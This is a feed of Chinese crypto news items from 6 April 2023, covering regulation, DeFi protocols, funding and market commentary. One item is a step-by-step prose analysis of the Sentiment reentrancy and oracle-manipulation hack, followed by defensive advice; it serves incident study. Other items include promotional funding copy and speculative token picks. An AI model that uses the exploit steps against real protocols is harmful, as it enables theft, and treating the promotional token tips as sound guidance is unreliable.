    PANews 4月6日消息，美国财政部今日发布了 2023 年 DeFi 非法金融风险评估，报告中表示，去中心化的金融（DeFi）交易，包括用虚拟货币进行的金融交易，需要遵守反洗钱和制裁法律。该报告指出，去中心化金融技术存在几项风险，风险包括勒索软件网络犯罪分子、小偷、骗子等网络参与者的滥用。也给国家安全和消费者保护带来问题。这份报告发布之际，美国和其他国家正在努力解决如何监管加密货币和虚拟资产的问题。 报告建议对该技术实施更严格的规定，并建议企业遵守现有的有关洗钱和反恐融资的法律。财政部官员称，要获得与去中心化金融服务相关的潜在好处，就必须解决这些风险。私营部门应利用这次评估的结果为自己的风险缓解战略提供信息，并根据反洗钱/反恐融资法规和制裁义务采取明确步骤，防止非法行为者滥用DeFi服务。 相关阅读：美国财政部首次发布DeFi 风险报告，透露了哪些重点信息？  ( 1 min )
    Gitcoin将于4月25日至5月9日开放新一轮捐赠活动
    PANews 4月6日消息，Gitcoin 宣布将于 4 月 25 日至 5 月 9 日开放新一轮捐赠活动：Gitcoin Program Beta Round。 此前Gitcoin Program的Alpha轮二次方融资（Quadratic Funding）于2023年1月17日至31日在其去中心化协议上进行。  ( 1 min )
    PA日报 | 苹果Mac系统内置比特币白皮书；MakerDAO多名核心贡献者将离职
    今日要闻提示： 1.日本发布包含NFT、稳定币和DAO的Web3白皮书 2.币安澳大利亚分部衍生品金融服务许可证已被吊销 3.华尔街日报：谷歌搜索引擎将加入对话式人工智能功能 4.MakerDAO协议工程核心部门将于4月底停运，同时多名核心贡献者将离职 5.苹果最新版本的Mac和MacBook疑似内置比特币白皮书 6.Lido预测以太坊提款速度：持有少于1000stETH用户的提款请求最快可在1天内完成 7.加拿大 Web3 投资机构 BitValue Capital 宣布向 IOST 投资1000万美元 8.一比特币巨鲸转移超1.77万枚BTC，价值约合4.99亿美元 监管消息 人民银行：进一步提高数字人民币研发试点攻坚能力 人民银行于4月4日召开2023年货币金银和安全保卫工作电视会议。会议总结2022年货币金银和安全保卫工作，分析当前形势，部署2023年重点工作。会议强调，货币发行和现金服务事关人民群众切身利益。当前，现金运行态势深刻变化，高质量发展要求建立更科学、更具弹性的现金供应体系，构建更均等、更普惠、更能满足群众现金使用需求的服务新格局，形成更高治理水平、更加市场化、更好激发新动能的货金保卫管理新模式，同时要进一步提高数字人民币研发试点攻坚能力，更好统筹发展与安全。 日本发布包含NFT、稳定币和DAO的Web3白皮书，以促进该国的行业增长 据CoinDesk报道，日本执政的自民党 Web3 项目小组批准了一份白皮书，该白皮书为从不可替代代币 (NFT) 到去中心化自治组织 (DAO) 的所有Web3相关事物制定监管提案。白皮书建议该国应该展望 Web3 的未来潜力，并明确其在技术中立和负责任的创新方面的领先地位。白皮书还建议进一步修改税收法规，并指出已经批准了一项针对代币发行人的重大豁免。其中包括对持有其他公司发行的不会进行短期交易的代币的公司免税。它建议允许进行自我评估，以便投资者可以将损失结转三年，并且只有在将资产兑换为法定货币时才应对加密货币征税。根据该文件，Web3 部长应负责促进政策和与其他国家的合作。其表示，日本数字厅将为地方政府和企业经营者设立相关咨询台。它还提议向技术工人发放加密货币签证，并扩大创业签证系统。 币安澳大利亚分部衍生品金融服务许可证已被吊销 据CO NEWS报道，澳大利亚证券投资委员会（ASIC）吊销了币安澳大利亚分部衍生品金融服务许可证。取消后，自2023年4月14日起，客户将无法在币安增加衍生品头寸或开立新头寸；币安将要求客户在2023年4月21日之前关闭现有的所有衍生品头寸；2023年4月21日，币安将关闭所有剩余的未平仓头寸。但取消条款包括一项规定，即取消对币安在2024年4月8日之前继续作为澳大利亚金融投诉管理局成员的要求没有影响。据悉，ASIC一直在对澳大利亚的币安金融服务业务进行有针对性的审查，包括其对零售和批发客户的分类。 NFT Otherside现已启动Koda NFT拆分及Vessel NFT Claim Yuga Labs旗下元宇宙项目Otherside宣布现已启动Koda NFT拆分和Vessel Claim，只有拥有Koda的Otherdeeds才能拆分，但所有Otherdeeds持有者都可以Claim一个Vessel NFT。Claim过程最好通过桌面浏览器完成，Vessel Claim和NFT拆分均为无限期开放。此外，拆分后用户的Otherdeed NFT必须被销毁，燃烧原始Otherdeed将产生一个Koda NFT和一个没有Koda的Otherdeed Expanded NFT。每一个NFT都将存在于一个新的集合中，彼此独立。Otherdeed Expanded NFT是解锁包括《Otherside: Legends of the Mara》在内未来游戏体验和激活的关键。 项目动态 华尔街日报：谷歌搜索引擎将加入对话式人工智能功能 据华尔街日报报道，谷歌首席执行官 Sundar Pichai 表示，该公司计划在其旗舰搜索引擎中添加对话式人工智能功能，以应对来自 ChatGPT 等聊天机器人的竞争以及更广泛的商业压力。 消息人士：Jane Street、Tower Research和Radix是币安在CFTC诉讼中的“VIP”客户 据彭博社援引消息人士报道，在美国商品期货交易委员会（CFTC）对币安诉讼文件中，提到被列为“VIP”客户的三家匿名交易公司分别为：Radix Trading是CFTC诉讼中描述的“贸易公司 A”，而Jane Street是“贸易公司 B”，Tower Research是“贸易公司C”。据悉，CFTC在文件中表示，币安声称的“VIP”待遇包括更低的交易费用和更快的交易服务。这些公司为币安提供了交易所的流动性，而币安则获得了相应的交易费收入。据称，币安通过向Radix提供有关通过虚拟专用网络 (VPN) 访问Binance.com的信息以掩盖其IP地址，从而使Radix能够规避合规控制。 MakerDAO协议工程核心部门将于4月底停运，同时多名核心贡献者将离职 MakerDAO 协议工程核心部门（Protocol Engineering Core Unit，以下简称 PECU）开发者Derek在治理论坛发文表示，由于Maker创始人Rune Christensen此前提出的治理架构改革提案，MakerDAO的PECU正在关闭，并将有序地过渡到由独立生态系统参与者取而代之的情况。 Derek表示，随着Endgame和Constitution MIP的成功启动，Scope Frameworks显然正在改变向贡献者请求工作的方式。因此，PECU将于2023年4月底停止运营，将与社区成员合作，确保成功过渡到新框架。根据规定，所有PECU团队成员的MKR线性解锁将于2023年4月底停止，临近下一个解锁cliff的将立即解锁，但其未解锁部分将被没收。任何未使用的团队多签资金将用于支付未结清的审计费用、软件许可、法律费用和未结清的合同协议。目前已有五名MakerDAO PECU开发者留言表示将于4月30日起停止为MakerDAO做出贡献。 Su Zhu等人创办的破产索赔交易所OPNX的Twitter账户被冻结 三箭资本创始人SuZhu等人创办的破产索赔交易所Open Exchange（OPNX）的官方Twitter账户显示“已被冻结”。此前消息，破产索赔交易所 OPNX上线以来交易额仅为1.26美元。 此外，CoinFLEX联创承诺Roger Ver可在OPNX上免费交易两年，以解决8400万美元债务问题。 Coinbase资助的六人已就美财政部制裁Tornado Cash一事提交简易判决动议 Coinbase首席法务官paulgrewal.eth 发推表示，此前Coinbase宣布资助由六人对美国财政部制裁Tornado Cash的行为提起的诉讼，现在原告提交了一份简易判决动议，要求法院重新开放Tornado Cash。其主要论点包括：Tornado Cash不是外国“国民”或“人”，而是软件；根据法律规定，政府只能制裁一个人的财产；制裁违反了第一修正案等。 SyncSwap：空投不会查用户IP，并未与VC达成合作 SyncSwap官方中文号在推特上回应来自社区对该项目的诸多质疑表示，空投活动并不会查用户 IP，该项目从测试到主网运行的过渡时长已一年有余。此外，该项目还曾与zkSync总工程师以及Argent项目方开过会讨论，并表示该项目没有融资，ID0价格会由社区决定而不是团队，此外，还曾与VC接触，但未达成合作。 此前消息，DEX平台SyncSwap将推出代币SYNC，目前尚未创建。 苹果最新版本的Mac和MacBook疑似内置比特币白皮书 据Bitcoin Magazine报道，比特币白皮书疑似已预装在苹果每台Mac和MacBook上，可通过简单的终端命令或导航 Finder打开，在Finder终端中输入以下命令：open /System/Library/Image\ Capture/Devices/VirtualScanner.app/Contents/Resources/simpledoc.pdf。用户需要导航到 Macintosh HD -> System -> Library -> Image Capture -> Devices。按住 Control 单击 VirtualScanner.app 并显示包内容，然后打开内容 -> 资源文件夹 -> simpledoc.pdf。 Arbitrum基金会已提交两项关于扩大ARB代币持有人监督和治理权力的新提案 据CoinDesk报道，Arbitrum基金会已提交两项关于扩大ARB代币持有人监督和治理权力的新提案，以解决上周末加密货币治理崩溃一事。第一个提案AIP-1.1建议将基金会剩余的7亿ARB置于“智能合约控制的锁定”中，四年内解锁。根据提案，在社区成员批准代币分配预算之前，基金会将无法使用代币。此外，Arbitrum 基金会还发布了一份关于该组织如何成立的透明度报告。第二个提案AIP-1.2旨在修改Arbitrum生态系统的几个治理文件，包括将在链上发布改进提案所需的ARB代币数量的门槛从500万降低到100万。DAO的成员将有三天的时间就提案提供反馈，之后这两项提案将进行为期一周的快照投票。 M11 Credit已重新开放贷款业务 加密信用池平台M11 Credit推特发文称，已重新开放贷款业务，并正在为其在Maple Finance上的新加密贷款池筹集新的资金。此外，该公司还任命了一位新的信贷主管，并升级了风险管理和信贷承销流程。据此前消息，去年11月FTX破产后，M11 Credit管理的资金池被借款人拖欠3600万美元，占Maple Finance活跃贷款数量的约30%。 MetaMask钱包iOS端新增支持ConsenSys zkEVM网络Linea MetaMask钱包iOS端推出6.3.0版本更新，新增功能包括支持ConsenSys zkEVM网络Linea、改善法币入金设施、改善SDK体验等方面。 Lido预测以太坊提款速度：持有少于1000stETH用户的提款请求最快可在1天内完成 流动性质押协议 Lido 公布其预测的使用 Lido 的以太坊提款速度，称若 Lido 协议的缓冲区有足够的 ETH 来提供服务的话，持有少于 1000stETH 用户的提款请求应该可在 1 天内完成（标准以太坊提款需要 2-6 天），1000 到 5000ETH 范围内的 Lido 提现请求也可能会 2 天完成，超过 5000ETH 的提款请求预计需要 4-10 天的时间，超过 10 万枚 ETH 的提款请求预计需要两周才能完成。 如果缓冲区中没有足够的ETH来提供服务，持有少于 1000stETH 用户的提款请求可能会比标准以太坊取款稍长(3-8天之)，1000 到 5000ETH 范围内的 Lido 提现请求可能需要更长的时间(5-9天)。 孙宇晨否认与币安洽谈收购Huobi的提议 据CoinDesk报道，据一位知情人士透露，币安最近已拒绝收购孙宇晨在Huobi的股份。随后孙宇晨在推特发文称，一直将币安视为最重要的合作伙伴之一，并将继续与他们在各个层面密切合作。然而在过去一周，他没有向赵长鹏作出任何收购Huobi股份的提议，他们甚至在过去一周左右的时间里没有讨论过Huobi。Huobi无意变更所有权。据彭博社此前报道，孙宇晨已经就出售Huobi的股份进行了谈判。 融资消息 加拿大 Web3 投资机构 BitValue Capital 宣布向 IOST 投资1000万美元 加拿大 Web3 投资机构 BitValue Capital 宣布向 IOST 投资1000万美元，资金将用于 IOST 主网升级和生态系统的持续建设。在升级后的 IOST2.0 的子链中，AI Native Blockchain 拥有 Web3 ＋ AI 的巨大发展空间。IOST 计划通过本轮融资推进以香港为中心的多元化国际合规扩张，开展全球市场营销活动和生态建设。此外，BitValue 还将与 IOST 联合推出500万美金生态激励基金，为全球开发者提供更多支持，加速 IOST 生态建设和发展。 链游RACA获DWF Labs 1600万美元融资 据CoinDesk报道，链游RACA（Radio Caca）获DWF Labs 1600万美元融资，包括购买数量不详的RACA代币，所筹资金将帮助RACA推进其Web3游戏生态系统的目标。据悉，RACA（前身为 Radio Caca）成立于2021年，最初是Elon Musk的母亲Maye Musk的不可替代代币（NFT）的管理者。该公司已经推出了R3游戏基础设施、SimCity风格的沙盒游戏USM.WORLD、社交派对游戏Looki Looki Jazzi、跨游戏DID钱包JAZ和NFT市场。 重要数据 一比特币巨鲸转移超1.77万枚BTC，价值约合4.99亿美元 据mempool.space数据显示，一个BTC巨鲸在比特币区块高度 784,060 处（北京时间5日22点46分）将177,69 枚BTC 从177个零散地址整理至单一地址，价值约合4.99亿美元。  ( 3 min )
    Lido预测以太坊提款速度：持有少于1000stETH用户的提款请求最快可在1天内完成
    PANews 4月6日消息，流动性质押协议 Lido 公布其预测的使用 Lido 的以太坊提款速度，称若 Lido 协议的缓冲区有足够的 ETH 来提供服务的话，持有少于 1000stETH 用户的提款请求应该可在 1 天内完成（标准以太坊提款需要 2-6 天），1000 到 5000ETH 范围内的 Lido 提现请求也可能会 2 天完成，超过 5000ETH 的提款请求预计需要 4-10 天的时间，超过 10 万枚 ETH 的提款请求预计需要两周才能完成。 如果缓冲区中没有足够的ETH来提供服务，持有少于 1000stETH 用户的提款请求可能会比标准以太坊取款稍长(3-8天之)，1000 到 5000ETH 范围内的 Lido 提现请求可能需要更长的时间(5-9天)。  ( 1 min )
    倒计时7天，看涨情绪回归，上海升级预期推动ETH突破1900美元
    原文：《倒计时7天！Shapella升级临近以太坊突破1900美元》 作者：比推BitpushNews Mary Liu 随着以太坊上海 Shanghai-cappella（称为 Shapella）升级日期（4 月 12 日）临近，以太坊代币迎来反弹。 比推终端数据显示，截至发稿时，以太坊的交易价格为 1,906 美元，24小时涨幅约 2%，当天早些时候，ETH 飙升至 1,941 美元，为去年 8 月以来的最高水平。TradingView提供的数据显示，最受欢迎的交易对是 ETH/USDT，交易量占总交易量的 9.1%，24小时交易额约为 10.4 亿美元。 投资银行 Bernstein 分析师在周三的一份报告中表示，以太坊正在突破“上海升级催化剂”。 以 Gautam Chhugani 为首的 Bernstein 分析师表示，虽然今年以太坊的表现落后于比特币约 14%，但该代币正处于“突破模式”。该投资银行将此举与 The Merge 之前的价格上涨进行了比较，当时以太坊的交易价格超过 1,900 美元。 上海升级将使在 9 月合并之前存入链中的质押以太坊被提取。GSR 研究分析师 Matt Kunke 对 The Block 表示，长期以来一直存在一种说法，即这次升级将对以太坊造成抛压，一些人认为 Shapella 将“引入抛售压力，因为抵押的以太坊首次可提取”，但这种悲观情绪已经开始消散，取而代之的是“对以太坊质押背景更深入的理解”。 Matt Kunke 认为，没有任何流动性的以太坊质押者中最大的一部分是独立质押者，这一群体是所有质押者中“最看好以太坊生态的”，因此“最不可能完全退出，他们将继续帮助守护以太坊。” Kunke 说，以太坊升级还包含一个排队机制，可以将提取代币的验证者在数周到数月内分流，从而防止出现“流动性悬崖”，GSR 预计，下降是暂时的，今年保护以太坊网络的总质押数量将显著增长。 Crypto is Macro Now 时事通讯作者 Noelle Acheson 同意该说法，认为大多数抵押的以太坊属于“不太可能在现阶段退出的长期网络参与者”。 Acheson 补充道：“另一方面，升级可以通过其额外的灵活性使质押更具吸引力，如果国债收益率继续下降，质押提供的近 5% 的收益率可能更具吸引力”。 研究公司 Fairlead Strategies 高级分析师 Will Tamplin 在其分析报告中表示：“以太坊似乎正在从旗形形态(Flag Pattern) 中走高，这解释了近期的上行走势”。 Tamplin 表示，ETH 的初始支撑位在 1,670 美元附近，可能会在 2000 美元附近遇到阻力，这个心理门槛与 2022 年 8 月的高点大致一致。 加密分析公司 Amberdata 衍生品主管 Greg Magadini 在推文中表示，ETH 的 25-delta 看涨期权比 ETH 的 25-delta 看跌期权价格更高，这表明交易员更倾向于上行风险敞口。通常，看涨期权买家看涨市场，而看跌期权买家看跌。 Magadini 写道：“最近的涨势主要由 BTC 带动，但现在随着 Twitter 社交媒体情绪和狗狗币投机的热情上升，我们看到人们开始对山寨币产生兴趣。” 根据ultrasound.money的数据，ETH 继续转向通货紧缩，其年化通货膨胀率目前为 -0.32% 。这意味着被销毁的 ETH 数量超过了被铸造的数量。与此同时，Lido DAO 的LDO和 Rocket Pool 的RPL（流动性质押协议的治理代币）均上涨了 2% 以上。 从链上数据的角度来看，以太坊的短期和长期趋势看起来都偏向多头。 根据 Santiment 的最新数据，最近几周大多数以太坊鲸鱼地址都增持了 ETH 。其中，拥有 1,000-10,000 ETH 余额的地址（下图中的蓝色）持有的ETH 供应量在 3 月份增长了 0.5%。 数据还显示，100 万至 1000 万 ETH（上图棕色曲线）和 1000 万至 1 亿 ETH 余额的地址分别增长了 0.4% 和 0.5%。 增长可能归因于网络的权益证明合同——直接或通过使用第三方平台，如 Lido DAO (LDO)，在 3 月份上涨约 3.5% 后，当前质押在官方以太坊 2.0 地址的 ETH 超过 1800 万枚。 截至发稿时，距离上海升级仅剩 7 天，部分交易员预计ETH价格将继续波动。加密期权交易公司 QCP Capital 在其市场更新中表示，本月晚些时候投机ETH 的多头头寸可能会增加，如果第二季度被证明是由山寨币行情主导，在美国经济放缓与货币宽松政策交叉的情况下，BTC 和 ETH 将继续恢复盘整。  ( 2 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.06）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    加拿大 Web3 投资机构 BitValue Capital 宣布向 IOST 投资1000万美元
    加拿大 Web3 投资机构 BitValue Capital 宣布向 IOST 投资1000万美元长期资金，成为其战略合作伙伴。此次投资将用于支持 IOST 主网升级和生态系统的持续建设。作为顾问，BitValue Capital 将帮助 IOST 推进以香港为中心的多元化国际合规扩张，开展全球市场营销活动和生态建设，并将引入北美专业量化交易机构 Spield Algorithm 等，对 IOST 生态给予支持 。 BitValue Capital 投资 IOST，不光重视 IOST 是全球范围内为数不多在日本取得合规认证的 Web3 项目，更因为 IOST 是为在线服务提供商开发的企业级公链平台，其主网升级后，将拥有更高的吞吐量与可用性，成为真正的Web3区块链操作系统。 IOST2.0 的子链中，AI Native Blockchain 拥有 Web3 ＋ AI 的巨大发展空间。一方面，AI 可以通过优化计算和流程、减少网络负载和改善延迟来提高区块链效率。另一方面，区块链也能为 AI 的决策过程留痕。因此，随着两种新兴技术在未来愈发的深度结合，其爆发出来的潜能不可估量。基于香港，IOST 子链的 Web3+AI 概念，必将催生出一大批优质的去中心化应用。 BitValue 还将与 IOST 联合推出500万美金生态激励基金，为全球开发者提供更多支持，加速 IOST 生态建设和发展。通过利用双方丰富的区块链行业经验和全球化的投资布局，将为这个生态系统注入更多的资源和创新性。我们相信，这个生态激励基金将加速 IOST 生态落地，实现 IOST 应用层和链上用户的指数级增长。 本次基金计划分为「新生态系统基金」和「加速器基金」两部分，将对不同发展阶段的项目提供从资金、技术、通证模型到市场宣发、社区建设、交易平台对接等定制化辅助服务。 以下内容是关于 IOST2.0 ——Web3 区块链操作系统的基础介绍： IOST 是由红杉、经纬、真格、险峰长青、FBG 等30多家全球一线美元投资机构支持的，为在线服务提供商而开发的企业级区块链应用平台，全球知名的公链平台。主网升级后，IOST2.0 将拥有更高的吞吐量与可用性，成为真正的 Web3 区块链操作系统。 IOST2.0 - The Merge IOST 将采用 Beacon Chain + Smart Chain 架构方案兼容 EVM，二者通信将使用标准 Engine API。 另外，IOST2.0 将继续演进升级多条子链，这些子链中，既有通用的 EVM 的智能合约链，也有专门用途的子链，如 NFT 链，游戏链，AI Native 链等等。 其中，IOST 子链 AI Native Blockchain，将采用了一种全新的机制，我们称之为“推断工作量证明（Proof of Inference）”。在该机制下，DAPP 可以在智能合约中调用深度学习推断，这些推断需求会被区块链的验证节点（Validator）所处理。当验证者完成这些推断任务时，他们将获得更多的奖励。这种机制实质上是一种“工作证明(Proof of Work）”的升级。 IOST2.0 暂定分为三个阶段，分别为共识层、执行层、通信。 将 IOST 进行升级单独作为 IOST2.0 的 Consensus Layer (也可以叫 Beacon Chain)，保持现有共识机制。 单独引入 Go-Ethereum 作为 IOST2.0 的 Execution Layer (也可以叫 Smart Chain), 这是原版 Geth 完美兼容 EVM。 IOST2.0 中 Consensus Layer 与 Execution Layer 通信使用标准的 Engine API 并遵循以太坊 JSON-RPC API 规范。 BitValue Capital 对于 IOST 的投资是基于 IOST 在区块链领域的优势和潜力，以及对于 Web3 和 AI 结合发展的前景的深刻认知。BitValue 期待与 IOST 一起合作，为全球开发者和用户创造更多价值，共同推动区块链和 AI 技术的发展和应用，并促进全球数字经济的蓬勃发展。  ( 2 min )
    “友好协商”后退赃90%，Arbitrum上Sentiment项目黑客事件分析
    原文：《黑客被“感化”退还资金？Arbitrum链的Sentiment项目被攻击事件分析》 2023年4月5日，据Beosin-Eagle Eye态势感知平台消息，Arbitrum链的Sentiment项目遭受黑客攻击，黑客获利约1百万美元，不过在项目方的“感化”下，黑客已退还大部分资金。 据了解，Sentiment是一个Defi借贷项目。借贷逻辑是Sentiment为用户开设账户，用户通过此账户将资产质押到其他项目获取收益，并且在质押之后也可以进行借贷。本次攻击如何发生，请听我们详细分解。 事件相关信息 攻击交易 0xa9ff2b587e2741575daf893864710a5cbb44bb64ccdc487a100fa20741e0f74d 攻击者地址 0xdd0cdb4c3b887bc533957bc32463977e432e49c3 攻击合约 0x9f626f5941fafe0a5b839907d77fbbd5d0dea9d0 被攻击合约 0x62c5aa8277e49b3ead43dc67453ec91dc6826403 跟着Beosin一起来看看黑客是如何对Sentiment项目“下手”的。 1.攻击者首先从Tornado.Cash提取1ETH到其以太坊账户，然后通过跨链桥将0.7ETH转入到其Arbitrum账户做好gas准备。然后部署了他的攻击合约。 2.接着攻击者发起攻击交易，首先攻击合约通过闪电贷获得606个WBTC，10050个WETH和18,000,000个 USDC。然后，攻击合约在Sentiment项目中按照项目方的正常业务逻辑创建账户，并只在账户中质押了50个WETH，再通过Sentiment项目的AccountManager合约将这50个WETH添加到Balancer项目的Balancer: Vault合约中。为价格操控之后的借款提供质押记录。 3.可以看到，上面的质押是通过Sentiment开设的账户进行的，之后攻击合约以合约身份向Balancer提供大量流动性，一共花费了606个WBTC，10000个WETH和18,000,000个 USDC。 4.紧接着攻击者调用Balancer: Vault.exitPool()函数取回流动性，这个过程中Balancer: Vault会向攻击者转账从而调用攻击者预先构造好的fallback函数。 5.在fallback函数中，攻击者调用了Sentiment项目的borrow进行借贷。按照借贷的逻辑，借款需要检查借款人的质押，而Sentiment确实通过RiskEngine.isAccountHealthy()进行了检查。 6.这里的检查是通过WeightedBalancerLPOracle.getPrice()函数获取抵押物价格，而该函数依赖Balancer: Vault.getPoolTokens()返回的数据。由于这时攻击者退出流动性的操作还没有完成，这里返回的数据是包含了攻击者流动性的旧数据。 7.这个旧数据导致了预言机的价格计算错误，WeightedBalancerLPOracle.getPrice()返回价格由正常的220132731298820699变成了3550073070005057760，提升了约16倍，使得攻击者抵押的50WETH价值升高，从而能取出更多资产。 8.攻击者通过多个borrow和exec，最终获取了0.5个WBTC、30个WETH、538,399USDC和360,000USDT。然后通过跨链回到了攻击者的以太坊地址，并全部换成了517个ETH，价值约1百万美元。 漏洞分析 根据Beosin安全团队的分析，本次攻击主要利用了重入导致的价值计算错误。这一漏洞的主要原因是Sentiment项目未考虑到Balancer: Vault._joinOrExit()函数在流动性移除时，先转移资产再更新池子余额。导致在转移ETH资产时,会触发攻击合约的fallback调用，此时攻击合约借款，Sentiment采用未更新的Balancer的数据计算价格，导致比质押更多的资产被借出。 Sentiment的价格计算函数： Balancer项目的流动性添加与移除函数： 资金追踪 Beosin Trace追踪发现，被盗资金为517个ETH，经项目方与黑客协商，其中51ETH为赏金已被黑客转移到Tornado.Cash，其余资金已归还项目方。 总结 针对本次事件，Beosin安全团队建议： 1.在合约开发时，采用检查-影响-交互模式。并且在多个合约相互依赖时需要更加注意合约之间的影响带来的安全问题。 2.项目与其他项目有数据依赖时，需要谨慎考虑项目之间的结合是否会导致新的安全问题出现。尽量通过原始数据作为自己逻辑的参考，减少对其他项目运算结果的依赖。  ( 2 min )
    人民银行：进一步提高数字人民币研发试点攻坚能力
    PANews 4月6日消息，人民银行于4月4日召开2023年货币金银和安全保卫工作电视会议。会议总结2022年货币金银和安全保卫工作，分析当前形势，部署2023年重点工作。会议强调，货币发行和现金服务事关人民群众切身利益。当前，现金运行态势深刻变化，高质量发展要求建立更科学、更具弹性的现金供应体系，构建更均等、更普惠、更能满足群众现金使用需求的服务新格局，形成更高治理水平、更加市场化、更好激发新动能的货金保卫管理新模式，同时要进一步提高数字人民币研发试点攻坚能力，更好统筹发展与安全。 会议要求，2023年人民银行货金保卫系统要深刻把握中国式现代化的理论体系和实践要求，坚持稳字当头、稳中求进，着力推动货金保卫业务提质增效。全力做好现金供应保障，强化流通中现金服务管理，提高回笼人民币处理效率，持续做好反假防伪，优化纪念币发行管理，不断提高现金服务水平。扎实做好安全保卫管理，全面提升综合防卫能力，切实保障发行库和发行基金押运安全。稳妥推进数字人民币研发试点，持续完善顶层设计，积极探索应用创新。加强制度建设，提高货金保卫工作规范化水平。加强调查研究，着力解决人民群众的急难愁盼问题。  ( 1 min )
    4月加密叙事“五字真言”：ABCDE
    撰写：blocmates 编译：深潮 TechFlow 三月份真是一场疯狂的旅程。我们见证了全球银行业危机、比特币 50%的暴涨，以及最后还有 “wen Arbitrum airdrop”…… 随着四月份的到来，故事远未结束，在前四天里，就已经出现了许多惊人的事件。我们看到了无数代币的推出，发生了能够超越浪漫喜剧的治理危机，以及历史性事件的发生。准备好笔和纸，匿名用户们，是时候做些笔记了！ 当然了，我需要强调的是，本文仅供研究之用，请自行核实，风险自担。 目前，Arbitrum 的治理现在一团糟，因此这可能是一个有争议的选择，因为像 Treasure DAO 和 Plutus DAO 这样的项目（拥有高投票权）反对 AIP-1 提案，这可能会让他们在社区中受到青睐。 $ARB 被注入了 10 亿美元以上的免费资金......是的，免费资金，随着生态系统的冷却下来，可能会出现一些值得关注的项目，包括新的推出。 观察哪些项目：$ARB、$PLS、$GMX、$GRAIL、$MAGIC、$PENDLE、$LODE，其中 Pepe Games、Sparta Dex 和 Wombat Exchange 即将推出。 它可能在 74 天内达到 100 万美元的价格，或者至少 Balaji 和加密 Twitter 认为是这样的。 当比特币上涨时，它的生态系统也会移动，因为它会摆脱持续的 FUD。 观察哪些项目：$BTC、$STX、$BADGER、$REN。 分叉、去中心化交易所......随便选。Uniswap V3 许可证已经过期，这将开放代码以供新手开发人员自由分叉。 集中流动性交易所和优化器之间的竞争已经开始了，团队们正在努力推出下一代流动性管理工具。 $JOE 在过去几周表现非常好，随着即将推出“Auto-Pools”，它很可能会继续占据主导地位。这是基于流动性簿构建的一键收益农场。 $STEAK 是 $JOE 的领先优化器，因此可能会跟随其 PA，而$GAMMA 和$PILOT 是其他表现不错的优化器。 $HERMES 和$MAIA 是两个潜在的沉睡巨人，因为$MAIA 在 Metis 上推出了第一个 Uni V3 AMM，并将在 Arbitrum 上发布。$HERMES V2 升级包括改进的代币经济模型和 TALOS（详情请见此处）。 $ICE，也就是 Popsicle Finance，则是一个未知数，因为我们知道 Frog Nation 和 Dani 的推文的影响力。 需要关注的项目：$LIT。 香港 Web 3 节将于 4 月 12 日至 15 日举行，因此中国/亚洲的代币可能会有所动作。Filecoin 和 Near Protocol 将主持讨论会，微软公司还将举办一场人工智能讲座。 顺便说一句，香港将在 6 月 1 日成为加密货币友好城市。 需要关注的项目：$FIL、$NEAR、$CFX、$ABC、$KAS、$KEY。 今年的狗狗日早早开始了，因为 Elon 昨天更改了 Twitter 图标。在 4/20 这一天，我们可以预计整个月会有大量的波动，以及$DOGE 的 Meme。 作为一个生态系统，Dogechain 甚至可能会引起竞拍，其他与狗有关的代币也可能受到关注。 需要关注的项目：$DOGE、$DC、$SHIB、$FLOKI。 $LDO、$FXS 和$RPL 都是领头羊，$RPL 的 Goerli Testnet 将在本月某个时间推出，而$FXS V3 则被暗示在加密 Twitter 上。 需要关注的项目：$BTRFLY、$YFI、$USH、$ZERO 和$ACID 都是受欢迎的投资选择，而$PENDLE 则提供了一个机会，在 LSD 池中获得可观的收益率。 还有一些其他的项目值得关注： $OP - Optimisms Bedrock 升级； $THE - Thenas Fusion 升级； $PLS - Plutus DAO 代币经济模型升级； $AURA - Aura Finance 在 Arbitrum 上推出； $SNX - Synthetix 在$KWENTA 上分配$OP 奖励。  ( 2 min )
    日本发布包含NFT、稳定币和DAO的Web3白皮书，以促进该国的行业增长
    PANews 4月6日消息，据CoinDesk报道，日本执政的自民党 Web3 项目小组批准了一份白皮书，该白皮书为从不可替代代币 (NFT) 到去中心化自治组织 (DAO) 的所有Web3相关事物制定监管提案。白皮书建议该国应该展望 Web3 的未来潜力，并明确其在技术中立和负责任的创新方面的领先地位。白皮书还建议进一步修改税收法规，并指出已经批准了一项针对代币发行人的重大豁免。其中包括对持有其他公司发行的不会进行短期交易的代币的公司免税。它建议允许进行自我评估，以便投资者可以将损失结转三年，并且只有在将资产兑换为法定货币时才应对加密货币征税。根据该文件，Web3 部长应负责促进政策和与其他国家的合作。其表示，日本数字厅将为地方政府和企业经营者设立相关咨询台。它还提议向技术工人发放加密货币签证，并扩大创业签证系统。 该文件将缺乏会计准则确定为一个紧迫的问题，各部门和机构应支持日本注册会计师协会制定指南。它还建议根据日本的godo kaisha（一种类似于有限责任公司的业务类型）制定DAO法，并根据《公司法》和《金融工具和交易法》修改法规。白皮书指出，对已经流通的代币的筛选过程正在缩短，但审查外国实体发行的新代币的速度仍然很慢。它建议使程序更加透明，以便发行人可以提供审查所需的信息。 日本去年通过了监管稳定币的框架。新白皮书强调了为稳定币注册准备环境和建立自律组织的重要性。它还提到了开发日元支持的稳定币的提案。白皮书表示，银行和保险公司进入该行业的批准仍不明确，并建议制定指导方针。在 NFT 方面，白皮书提议公私合作，制定梦幻体育服务合法商业模式的指南。它还建议公共和私营部门共同努力，梳理数据和 NFT 权利，并考虑让内容持有者合法许可 NFT 的方式。  ( 1 min )
    梳理香港Web3各赛道监管规范：落地在即，如何成为Web3下一片沃土？
